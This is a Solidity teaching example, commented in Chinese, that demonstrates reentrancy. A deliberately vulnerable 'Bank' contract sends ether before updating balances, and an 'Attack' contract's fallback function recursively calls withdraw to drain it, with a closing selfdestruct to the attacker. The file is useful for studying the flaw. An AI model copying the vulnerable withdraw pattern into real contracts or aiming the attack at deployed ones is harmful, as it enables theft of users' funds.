pragma solidity ^0.4.0;
contract Bank {
address owner;
mapping (address => uint256) balances;
constructor() public payable{
owner = msg.sender;
}
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(address receiver, uint256 amount) public{
require(balances[msg.sender] > amount);
require(address(this).balance > amount);
// **使用 call.value()()进行ether转币时,没有Gas限制,用call调用会触发attack的fallback函数**
receiver.call.value(amount)();
// receiver.send(amount);
balances[msg.sender] -= amount;
}
function balanceOf(address addr) public view returns (uint256) {
return balances[addr];
}
function getBank() public view returns(uint){
return this.balance;
}
}
contract Attack {
address owner;
address victim;
constructor() public payable {
owner = msg.sender;
}
function setVictim(address target) public{
victim = target;
}
function step1(uint256 amount) public payable{
if (address(this).balance > amount) {
victim.call.value(amount)(bytes4(keccak256("deposit()")));
}
}
function step2(uint256 amount) public{
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this,amount);
}
// selfdestruct, send all balance to owner
function stopAttack() public{
selfdestruct(owner);
}
function startAttack(uint256 amount) public{
step1(amount);
step2(amount / 2);
}
function () public payable {
if (msg.sender == victim) {
// 再次尝试调用Bank合约的withdraw函数,递归转币
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this,msg.value);
}
}
function getBank() public view returns(uint){
return this.balance;
}
/*function getAddress() public view returns(string memory){
return address(this);
}*/
}
初始银行有50wei,attack有10wei
按照代码顺序对Bank攻击后,attack合约获得银行绝大部分余额